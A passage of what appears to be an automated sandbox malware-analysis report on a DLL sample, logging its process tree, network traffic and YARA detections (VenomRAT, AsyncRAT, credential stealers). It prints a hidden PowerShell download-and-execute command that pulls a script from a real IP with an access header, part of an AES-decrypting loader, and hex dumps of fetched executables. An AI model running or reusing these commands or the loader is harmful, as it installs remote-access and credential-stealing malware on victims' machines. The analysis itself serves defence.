Jan 2, 2025 19:14:14.248781919 CET	1236	IN	Data Raw: 00 48 00 30 00 55 00 52 00 6c 00 63 00 31 00 4c 00 42 00 45 00 74 00 59 00 78 00 39 00 4a 00 41 00 41 00 63 00 53 00 57 00 54 00 52 00 44 00 53 00 45 00 38 00 43 00 4b 00 55 00 52 00 68 00 55 00 43 00 34 00 73 00 46 00 52 00 34 00 71 00 48 00 6c Data Ascii: H0URlc1LBEtYx9JAAcSWTRDSE8CKURhUC4sFR4qHlsjBCZdI1IBSQIZAVhbJCwRLWsyQhgyAUpgVhpJDzgXRxJjJAs8YxlNHwc0XCRUDVUfdF85NGNtRWgzCU
Jan 2, 2025 19:14:14.248796940 CET	1236	IN	Data Raw: 00 5a 00 49 00 6a 00 6b 00 41 00 64 00 6d 00 73 00 38 00 53 00 52 00 67 00 6a 00 42 00 56 00 45 00 4f 00 52 00 77 00 56 00 44 00 48 00 33 00 56 00 4e 00 62 00 77 00 34 00 65 00 59 00 55 00 55 00 50 00 4a 00 67 00 39 00 74 00 48 00 41 00 73 00 37 Data Ascii: ZIjkAdms8SRgjBVEORwVDH3VNbw4eYUUPJg9tHAs7WS1DGw5FBlZpF3hAb2hjWwwcEBxOIVINBh8pBUBXIG02LTcsQxtUQWwoVA1HCB4LWkomNREMJhdJCwMB
Jan 2, 2025 19:14:15.775916100 CET	157	OUT	GET /infopage/ersyb.exe HTTP/1.1 X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq Host: 147.45.44.131
Jan 2, 2025 19:14:15.957546949 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 02 Jan 2025 18:14:15 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Thu, 02 Jan 2025 09:39:17 GMT ETag: "2fdc00-62ab5ef921a41" Accept-Ranges: bytes Content-Length: 3136512 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 6e 66 5c 67 00 00 00 00 00 00 00 00 e0 00 02 00 0b 01 08 00 00 ca 2f 00 00 10 00 00 00 00 00 00 ee e8 2f 00 00 20 00 00 00 00 30 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 30 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 e8 2f 00 53 00 00 00 00 00 30 00 f7 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 30 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELnf\g// 0@ @0@/S0 0 H.text/ / `.rsrc0/@@.reloc 0/@B/HG<4#Vwd!HAZI1YT8Dc[2njlOs]yx<mt8*B-rIg:mej{Um79;$QWAA0V0yh`4bE=WM&,C:])#lAG8B3O);"L"p<19;YF 8fK?WEw:7i(}jY2]u{1Crh:bvJn5)catiS/r68XNd/xeN[>F$y'E}+iG<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49734	147.45.44.131	80	2616	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2025 19:14:14.172321081 CET	275	OUT	GET /infopage/iubn.ps1 HTTP/1.1 X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 147.45.44.131 Connection: Keep-Alive
Jan 2, 2025 19:14:14.839303970 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 02 Jan 2025 18:14:14 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Thu, 02 Jan 2025 11:02:00 GMT ETag: "692-62ab7176e913d" Accept-Ranges: bytes Content-Length: 1682 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: 0d 0a 24 78 6e 68 43 58 44 20 3d 20 27 37 49 5a 77 45 41 74 6f 6a 32 79 42 37 6e 71 55 4f 44 63 34 63 73 68 37 6c 54 36 32 71 2b 78 74 7a 49 56 61 75 30 35 70 57 75 67 3d 27 0d 0a 24 73 51 55 56 70 68 20 3d 20 27 69 46 41 69 38 65 6a 46 66 4b 70 67 44 51 38 59 39 59 63 31 6b 67 3d 3d 27 0d 0a 24 78 42 41 4f 4a 36 20 3d 20 27 42 59 59 76 48 54 65 50 7a 37 6a 4b 67 64 4c 5a 5a 69 4a 59 64 42 6a 4d 44 65 70 35 59 48 4a 68 4b 69 31 5a 63 44 36 57 52 48 37 4d 43 43 41 30 76 36 61 38 53 61 6d 4a 62 64 39 39 38 36 77 6b 47 37 57 44 46 5a 31 4c 7a 31 68 2b 6a 4e 66 4e 62 32 4f 63 43 73 50 78 37 61 33 6d 69 4a 50 4a 6e 61 6a 48 43 6c 32 50 72 66 76 68 56 35 2b 67 32 79 6e 4d 2f 4e 33 2b 62 42 6e 75 67 5a 74 51 57 71 54 39 69 47 4b 45 45 79 42 59 46 52 48 76 4d 4e 75 45 65 49 53 73 73 4b 39 50 35 50 75 54 71 58 6e 47 53 4a 41 59 35 53 4b 74 75 42 72 33 62 49 47 72 58 67 76 62 44 36 34 33 38 47 2f 52 69 4c 76 41 56 62 74 75 62 42 67 2b 41 6a 55 6a 50 50 71 52 6f 68 65 71 64 33 52 57 64 41 64 30 46 75 77 36 74 [TRUNCATED] Data Ascii: $xnhCXD = '7IZwEAtoj2yB7nqUODc4csh7lT62q+xtzIVau05pWug='$sQUVph = 'iFAi8ejFfKpgDQ8Y9Yc1kg=='$xBAOJ6 = 'BYYvHTePz7jKgdLZZiJYdBjMDep5YHJhKi1ZcD6WRH7MCCA0v6a8SamJbd9986wkG7WDFZ1Lz1h+jNfNb2OcCsPx7a3miJPJnajHCl2PrfvhV5+g2ynM/N3+bBnugZtQWqT9iGKEEyBYFRHvMNuEeISssK9P5PuTqXnGSJAY5SKtuBr3bIGrXgvbD6438G/RiLvAVbtubBg+AjUjPPqRoheqd3RWdAd0Fuw6tbc1izmf2qr//8v0N37ZU2czNGy72ieWxUGjaSdsxkihCw4YzmAoXxnOfjp9PcvRPkiF7jk48y557ClG4KB2SCJppKm4CLjs/ELQLlLz080Yl/jKEcrrChjGtoyt23k+5QsiTD3SRucv4bE29K13Zv5yWdsu0vag5jDFoJewWwJXs8xKpm4KKUE/2PV9Fcgw4W718pvDKv7aa5DInMcuvcSttl9Chq0ZFHiZfOYCI963DVfPurlPSy6yvxEynyfXzcYYJEO44N34cO+LRf7tH8CrFITJubaVvnW/Ou7KjS9o9LRlHEBseLEbOMMPg/vKbrueI6K/KoYb2hL+e9SDk/aeDrY0II0FRFETCaEQnJBfOubpU03wCHQRMMH7iz1NVC/X26gPZWyRRK+RdhthfQQS8LLX'function a10NrR ($o5pQm1, $xnhCXD, $sQUVph) { $4MGiFV = [Convert]::FromBase64String($xnhCXD) $OJ5UPJ = [Convert]::FromBase64String($sQUVph) $T9tJ95 = [Convert]::FromBase64String($o5pQm1) $9mUXlj = [Sys
Jan 2, 2025 19:14:14.839339018 CET	707	IN	Data Raw: 74 65 6d 2e 53 65 63 75 72 69 74 79 2e 43 72 79 70 74 6f 67 72 61 70 68 79 2e 41 65 73 5d 3a 3a 43 72 65 61 74 65 28 29 0d 0a 20 20 20 20 24 39 6d 55 58 6c 6a 2e 4b 65 79 20 3d 20 24 34 4d 47 69 46 56 0d 0a 20 20 20 20 24 39 6d 55 58 6c 6a 2e 49 Data Ascii: tem.Security.Cryptography.Aes]::Create() $9mUXlj.Key = $4MGiFV $9mUXlj.IV = $OJ5UPJ $9mUXlj.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 $S1QRYq = $9mUXlj.CreateDecryptor($9mUXlj.Key, $9mUXlj.IV) $NKtx2h
Jan 2, 2025 19:14:15.549258947 CET	157	OUT	GET /infopage/rwvg1.exe HTTP/1.1 X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq Host: 147.45.44.131
Jan 2, 2025 19:14:15.736150026 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 02 Jan 2025 18:14:15 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Thu, 02 Jan 2025 10:33:38 GMT ETag: "8a00-62ab6b1fe4fe2" Accept-Ranges: bytes Content-Length: 35328 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 a1 69 0e 88 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 80 00 00 00 08 00 00 00 00 00 00 7a 9f 00 00 00 20 00 00 00 a0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 00 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 9f 00 00 4f 00 00 00 00 a0 00 00 d0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 0c 00 00 00 0c 9f 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELi"0z @ `(O H.text `.rsrc@@.reloc@B\H!`}0:(oi+aXi]Xi20(((o(0rpssor>sp~(o&or`sp~(o&o%~(oorsp~(orsp~(oo&((((j(rsp(o*BSJBv4.0.30319l4#~
Jan 2, 2025 19:14:15.736170053 CET	1236	IN	Data Raw: 00 00 34 04 00 00 23 53 74 72 69 6e 67 73 00 00 00 00 d4 07 00 00 08 74 00 00 23 55 53 00 dc 7b 00 00 10 00 00 00 23 47 55 49 44 00 00 00 ec 7b 00 00 74 01 00 00 23 42 6c 6f 62 00 00 00 00 00 00 00 02 00 00 01 57 15 02 00 09 00 00 00 00 fa 01 33 Data Ascii: 4#Stringst#US{#GUID{t#BlobW3PPppQ1148
Jan 2, 2025 19:14:15.736181974 CET	1236	IN	Data Raw: 74 69 6f 6e 41 74 74 72 69 62 75 74 65 00 41 73 73 65 6d 62 6c 79 44 65 73 63 72 69 70 74 69 6f 6e 41 74 74 72 69 62 75 74 65 00 43 6f 6d 70 69 6c 61 74 69 6f 6e 52 65 6c 61 78 61 74 69 6f 6e 73 41 74 74 72 69 62 75 74 65 00 41 73 73 65 6d 62 6c Data Ascii: tionAttributeAssemblyDescriptionAttributeCompilationRelaxationsAttributeAssemblyProductAttributeAssemblyCopyrightAttributeAssemblyCompanyAttributeRuntimeCompatibilityAttributeByteMercado.exeNtilgEncodingSystem.Runtime.VersioningFro
Jan 2, 2025 19:14:15.736191988 CET	1236	IN	Data Raw: 00 66 00 47 00 41 00 4d 00 42 00 55 00 53 00 4d 00 47 00 49 00 55 00 67 00 59 00 62 00 46 00 49 00 55 00 66 00 53 00 77 00 6a 00 45 00 79 00 30 00 78 00 44 00 33 00 67 00 44 00 4b 00 78 00 74 00 4d 00 63 00 52 00 42 00 41 00 52 00 42 00 55 00 70 Data Ascii: fGAMBUSMGIUgYbFIUfSwjEy0xD3gDKxtMcRBARBUpAW9jYzsEJDYeAEwLG0xgVRxHHiktWlomNUxFSVsMTEIONUoGSAZMfUQUHjEoET0xFQwuCwF7L0geQx4p
Jan 2, 2025 19:14:15.736205101 CET	1236	IN	Data Raw: 00 6d 00 56 00 4e 00 4c 00 45 00 67 00 47 00 54 00 48 00 31 00 45 00 46 00 42 00 35 00 6a 00 4e 00 6d 00 68 00 43 00 59 00 31 00 73 00 4d 00 54 00 45 00 4a 00 56 00 47 00 47 00 41 00 47 00 53 00 41 00 5a 00 4d 00 66 00 77 00 39 00 52 00 54 00 43 Data Ascii: mVNLEgGTH1EFB5jNmhCY1sMTEJVGGAGSAZMfw9RTC0oCXtxWQBhaFUYYAZIBkx9RBQeY28LPCcXQE5OeDJgBkgGTH1EFB5jbUVqER5fGQ8QbChUDUcIf0g5NG
Jan 2, 2025 19:14:15.736213923 CET	1236	IN	Data Raw: 00 63 00 51 00 30 00 51 00 55 00 43 00 6b 00 42 00 75 00 4e 00 7a 00 39 00 46 00 49 00 43 00 49 00 56 00 53 00 41 00 41 00 48 00 58 00 41 00 4e 00 4e 00 4c 00 45 00 67 00 47 00 54 00 48 00 30 00 55 00 52 00 6c 00 63 00 31 00 4c 00 42 00 45 00 74 Data Ascii: cQ0QUCkBuNz9FICIVSAAHXANNLEgGTH0URlc1LBEtYx9JAAcSWTRDSEQDMggUbSY5Mic0TRg4CgddIUIrSQIpAUxKBygJLSQaWAlKPFY0dhxUTCkMRlsiKUlo
Jan 2, 2025 19:14:15.736226082 CET	1236	IN	Data Raw: 00 52 00 52 00 47 00 55 00 54 00 63 00 6f 00 42 00 6a 00 78 00 71 00 51 00 43 00 46 00 6d 00 51 00 6c 00 55 00 59 00 59 00 46 00 59 00 61 00 54 00 78 00 6f 00 38 00 45 00 46 00 45 00 65 00 4a 00 79 00 67 00 4a 00 4c 00 53 00 51 00 61 00 57 00 41 Data Ascii: RRGUTcoBjxqQCFmQlUYYFYaTxo8EFEeJygJLSQaWAlCF1cvSkhxHjQQUXMmIAo6Oj9JAAcSWTRDQG8CKTRATGM9FycgHl8fTlVRLlJIRA0uAXVaJz8AOzBXDA
Jan 2, 2025 19:14:15.736242056 CET	1236	IN	Data Raw: 00 78 00 49 00 67 00 59 00 74 00 4d 00 41 00 68 00 74 00 47 00 42 00 59 00 48 00 55 00 53 00 4a 00 54 00 48 00 45 00 4d 00 66 00 63 00 55 00 52 00 39 00 55 00 44 00 63 00 64 00 45 00 54 00 70 00 6a 00 44 00 30 00 51 00 65 00 42 00 78 00 52 00 63 Data Ascii: xIgYtMAhtGBYHUSJTHEMfcUR9UDcdETpjD0QeBxRcAVIcVAU/EUBbMGFoQmNbDExCVRhgRAdJAH0NWlYmPww8CxpCCA4QS2wGHU8CKURXTCYsESEsFWoAAxJL
Jan 2, 2025 19:14:15.736243963 CET	1236	IN	Data Raw: 00 32 00 74 00 53 00 64 00 31 00 38 00 2f 00 58 00 41 00 4e 00 4e 00 4c 00 45 00 67 00 47 00 54 00 48 00 30 00 55 00 52 00 6c 00 63 00 31 00 4c 00 42 00 45 00 74 00 59 00 77 00 68 00 59 00 44 00 52 00 59 00 63 00 57 00 32 00 42 00 31 00 44 00 56 Data Ascii: 2tSd18/XANNLEgGTH0URlc1LBEtYwhYDRYcW2B1DVI4NRZRXycOCiY3HlQYJhBUJUEJUgl9N1FKFyUXLSIfbwMMAV04UkgbTBELVVoCPQx0EB5YOAoHXSFCK0
Jan 2, 2025 19:14:15.736249924 CET	1236	IN	Data Raw: 00 4a 00 44 00 68 00 42 00 66 00 49 00 56 00 49 00 4e 00 42 00 6a 00 6f 00 30 00 46 00 6b 00 42 00 4c 00 49 00 69 00 45 00 6b 00 4a 00 43 00 38 00 55 00 54 00 79 00 6b 00 61 00 56 00 51 00 56 00 67 00 61 00 67 00 64 00 48 00 43 00 42 00 77 00 55 Data Ascii: JDhBfIVINBjo0FkBLIiEkJC8UTykaVQVgagdHCBwUXQIVJBc8NhpALQ4ZVyNjEGIJMQFTXzcoW2AEHlgtEhx2IUsNVUR0PwRjb20iLTc6XAUsFFUlVUAPN2o5
Jan 2, 2025 19:14:16.403599977 CET	157	OUT	GET /infopage/ersyb.exe HTTP/1.1 X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq Host: 147.45.44.131
Jan 2, 2025 19:14:16.632262945 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 02 Jan 2025 18:14:16 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Thu, 02 Jan 2025 09:39:17 GMT ETag: "2fdc00-62ab5ef921a41" Accept-Ranges: bytes Content-Length: 3136512 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 6e 66 5c 67 00 00 00 00 00 00 00 00 e0 00 02 00 0b 01 08 00 00 ca 2f 00 00 10 00 00 00 00 00 00 ee e8 2f 00 00 20 00 00 00 00 30 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 30 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 e8 2f 00 53 00 00 00 00 00 30 00 f7 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 30 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELnf\g// 0@ @0@/S0 0 H.text/ / `.rsrc0/@@.reloc 0/@B/HG<4#Vwd!HAZI1YT8Dc[2njlOs]yx<mt8*B-rIg:mej{Um79;$QWAA0V0yh`4bE=WM&,C:])#lAG8B3O);"L"p<19;YF 8fK?WEw:7i(}jY2]u{1Crh:bvJn5)catiS/r68XNd/xeN[>F$y'E}+iG<

Target ID:	0
Start time:	13:14:09
Start date:	02/01/2025
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\iviewers.dll"
Imagebase:	0xdd0000
File size:	126'464 bytes
MD5 hash:	51E6071F9CBA48E79F10C84515AAE618
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	13:14:09
Start date:	02/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:14:09
Start date:	02/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\iviewers.dll",#1
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:14:09
Start date:	02/01/2025
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	regsvr32.exe /s C:\Users\user\Desktop\iviewers.dll
Imagebase:	0xd30000
File size:	20'992 bytes
MD5 hash:	878E47C8656E53AE8A8A21E927C6F7E0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:14:09
Start date:	02/01/2025
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\iviewers.dll",#1
Imagebase:	0x880000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:14:09
Start date:	02/01/2025
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\iviewers.dll,DllRegisterServer
Imagebase:	0x880000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:14:09
Start date:	02/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } \| iex"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:14:09
Start date:	02/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } \| iex"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: cmd.exePID: 964, Parent PID: 2036

General

Target ID:	9
Start time:	13:14:09
Start date:	02/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } \| iex"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: conhost.exePID: 3384, Parent PID: 4888

General

Target ID:	10
Start time:	13:14:09
Start date:	02/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	13:14:09
Start date:	02/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	13:14:09
Start date:	02/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	13:14:09
Start date:	02/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } \| iex"
Imagebase:	0x5e0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_VenomRAT, Description: Yara detected VenomRAT, Source: 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BrowserPasswordDump_1, Description: Yara detected BrowserPasswordDump, Source: 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic_3, Description: Yara detected Keylogger Generic, Source: 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_VenomRAT, Description: Yara detected VenomRAT, Source: 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BrowserPasswordDump_1, Description: Yara detected BrowserPasswordDump, Source: 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic_3, Description: Yara detected Keylogger Generic, Source: 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	13:14:09
Start date:	02/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
